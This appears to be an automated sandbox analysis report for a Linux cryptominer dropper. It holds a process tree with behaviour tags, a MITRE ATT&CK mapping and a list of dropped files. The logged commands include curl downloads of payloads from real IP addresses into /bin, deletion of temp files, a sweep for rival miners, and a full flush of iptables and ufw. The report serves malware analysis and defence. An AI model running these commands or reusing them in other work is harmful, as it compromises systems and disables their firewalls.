/usr/bin/findfind /var/tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*gminer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
- Reads runtime system information
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/rmrm -rf /tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d5 /tmp/config-err-d1IOti /tmp/netplan__92fa9bc /tmp/snap-private-tmp /tmp/ssh-pZNk6q5DaPR7 /tmp/systemd-private-7fadfced0e9d4dcaa9d311ae9d29e0f1-ModemManager.service-wOlU5m /tmp/systemd-private-7fadfced0e9d4dcaa9d311ae9d29e0f1-bolt.service-CutXyh /tmp/systemd-private-7fadfced0e9d4dcaa9d311ae9d29e0f1-colord.service-OWRt9s /tmp/systemd-private-7fadfced0e9d4dcaa9d311ae9d29e0f1-systemd-resolved.service-mkentv2⤵
-
-
/bin/rmrm -rf /var/tmp/systemd-private-7fadfced0e9d4dcaa9d311ae9d29e0f1-ModemManager.service-9hwgAO /var/tmp/systemd-private-7fadfced0e9d4dcaa9d311ae9d29e0f1-bolt.service-n7FtkR /var/tmp/systemd-private-7fadfced0e9d4dcaa9d311ae9d29e0f1-colord.service-fqIuY4 /var/tmp/systemd-private-7fadfced0e9d4dcaa9d311ae9d29e0f1-systemd-resolved.service-7xQyBV2⤵
-
-
/bin/rmrm -rf "/dev/shm/*"2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/usr/bin/touchtouch /bin/.wtest2⤵
- Writes file to system bin folder
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
- Writes file to tmp directory
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
- Writes file to tmp directory
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
- Writes file to tmp directory
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://87.229.64.49/static/js/vendor/ksmd2⤵
- Writes file to system bin folder
- Writes file to tmp directory
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_1527.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_1527.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
- Writes file to tmp directory
-
-
/bin/gunzipgunzip -c /bin/.log_1527.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_1527.gz2⤵
-
-
/bin/rmrm -f /bin/.log_1527.gz2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_1527.gz2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_1527.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_1527.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
- Writes file to tmp directory
-
-
/bin/gunzipgunzip -c /bin/.log_1527.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_1527.gz2⤵
-
-
/bin/rmrm -f /bin/.log_1527.gz2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_1527.gz2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_1527.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_1527.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
- Writes file to tmp directory
-
-
/bin/gunzipgunzip -c /bin/.log_1527.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_1527.gz2⤵
-
-
/bin/rmrm -f /bin/.log_1527.gz2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_1527.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/javab http://87.229.64.49/static/js/vendor/javab2⤵
- Writes file to system bin folder
- Writes file to tmp directory
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/idle2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/idle http://87.229.64.49/static/js/vendor/idle2⤵
- Writes file to system bin folder
- Writes file to tmp directory
-
-
/bin/lsls -lh /bin/ksmd /bin/javab /bin/idle2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/sbin/iptablesiptables -F2⤵
-
-
/usr/sbin/ufwufw disable2⤵
-
/sbin/iptables/sbin/iptables -V3⤵
- Flushes firewall rules
-
-
/lib/ufw/ufw-init/lib/ufw/ufw-init force-stop3⤵
-
/sbin/ip6tablesip6tables -L INPUT -n4⤵
- Flushes firewall rules
-
/sbin/modprobe/sbin/modprobe ip6_tables5⤵
- Loads a kernel module
- System Network Configuration Discovery
-
-
-
/sbin/iptablesiptables -F ufw-logging-deny4⤵
-
-
/sbin/iptablesiptables -F ufw-logging-allow4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-not-local4⤵
-
-
/sbin/iptablesiptables -F ufw-user-logging-input4⤵
-
-
/sbin/iptablesiptables -F ufw-user-limit-accept4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-user-limit4⤵
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-input4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-reject-input4⤵
-
-
/sbin/iptablesiptables -F ufw-after-logging-input4⤵
-
-
/sbin/iptablesiptables -F ufw-after-input4⤵
-
-
/sbin/iptablesiptables -F ufw-user-input4⤵
-
-
/sbin/iptablesiptables -F ufw-before-input4⤵
-
-
/sbin/iptablesiptables -F ufw-before-logging-input4⤵
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-forward4⤵
-
-
/sbin/iptablesiptables -F ufw-reject-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-after-logging-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-after-forward4⤵
-
-
/sbin/iptablesiptables -F ufw-user-logging-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-user-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-before-forward4⤵
-
-
/sbin/iptablesiptables -F ufw-before-logging-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-track-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-track-output4⤵
-
-
/sbin/iptablesiptables -F ufw-track-input4⤵
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-output4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-reject-output4⤵
-
-
/sbin/iptablesiptables -F ufw-after-logging-output4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-after-output4⤵
-
-
/sbin/iptablesiptables -F ufw-user-logging-output4⤵
-
-
/sbin/iptablesiptables -F ufw-user-output4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -F ufw-before-output4⤵
-
-
/sbin/iptablesiptables -F ufw-before-logging-output4⤵
-
-
/sbin/iptablesiptables -Z ufw-logging-deny4⤵
-
-
/sbin/iptablesiptables -Z ufw-logging-allow4⤵
-
-
/sbin/iptablesiptables -Z ufw-not-local4⤵
-
-
/sbin/iptablesiptables -Z ufw-user-logging-input4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-user-limit-accept4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-user-limit4⤵
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-input4⤵
-
-
/sbin/iptablesiptables -Z ufw-reject-input4⤵
-
-
/sbin/iptablesiptables -Z ufw-after-logging-input4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-after-input4⤵
-
-
/sbin/iptablesiptables -Z ufw-user-input4⤵
-
-
/sbin/iptablesiptables -Z ufw-before-input4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-before-logging-input4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-reject-forward4⤵
-
-
/sbin/iptablesiptables -Z ufw-after-logging-forward4⤵
-
-
/sbin/iptablesiptables -Z ufw-after-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-user-logging-forward4⤵
-
-
/sbin/iptablesiptables -Z ufw-user-forward4⤵
-
-
/sbin/iptablesiptables -Z ufw-before-forward4⤵
-
-
/sbin/iptablesiptables -Z ufw-before-logging-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-track-forward4⤵
-
-
/sbin/iptablesiptables -Z ufw-track-output4⤵
-
-
/sbin/iptablesiptables -Z ufw-track-input4⤵
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-output4⤵
-
-
/sbin/iptablesiptables -Z ufw-reject-output4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-after-logging-output4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-after-output4⤵
-
-
/sbin/iptablesiptables -Z ufw-user-logging-output4⤵
-
-
/sbin/iptablesiptables -Z ufw-user-output4⤵
-
-
/sbin/iptablesiptables -Z ufw-before-output4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -Z ufw-before-logging-output4⤵
-
-
/sbin/iptablesiptables -X ufw-logging-deny4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -X ufw-logging-allow4⤵
-
-
/sbin/iptablesiptables -X ufw-not-local4⤵
-
-
/sbin/iptablesiptables -X ufw-user-logging-input4⤵
-
-
/sbin/iptablesiptables -X ufw-user-logging-output4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -X ufw-user-logging-forward4⤵
-
-
/sbin/iptablesiptables -X ufw-user-limit-accept4⤵
-
-
/sbin/iptablesiptables -X ufw-user-limit4⤵
-
-
/sbin/iptablesiptables -X ufw-user-input4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -X ufw-user-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -X ufw-user-output4⤵
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-input4⤵
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-output4⤵
-
-
/sbin/iptablesiptables -X ufw-skip-to-policy-forward4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -P INPUT ACCEPT4⤵
-
-
/sbin/iptablesiptables -P OUTPUT ACCEPT4⤵
-
-
/sbin/iptablesiptables -P FORWARD ACCEPT4⤵
-
-
/sbin/ip6tablesip6tables -F ufw6-logging-deny4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Scheduled Task/Job
1Cron
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
2Linux and Mac File and Directory Permissions Modification
2Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Indicator Removal
2Clear Linux or Mac System Logs
2Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
.java_tmp
.khp
.log_1527.gz
.rguard
idle
javab
ksmd
ps
ps
sedMo9ybc
sedz9ouNa
hosts
sedGfvnLr
sedXCLYzd
sedpT13Da
pid
ip6network
irqbalanced
kswaped
pamdicks
rctlcli
systemd-network
top
root
tmp.ATQe6h
tmp.DJyt9J
tmp.FsEgDD
tmp.I6YKoB
tmp.LsHiFY
tmp.WX3Gpz
tmp.zfVHe5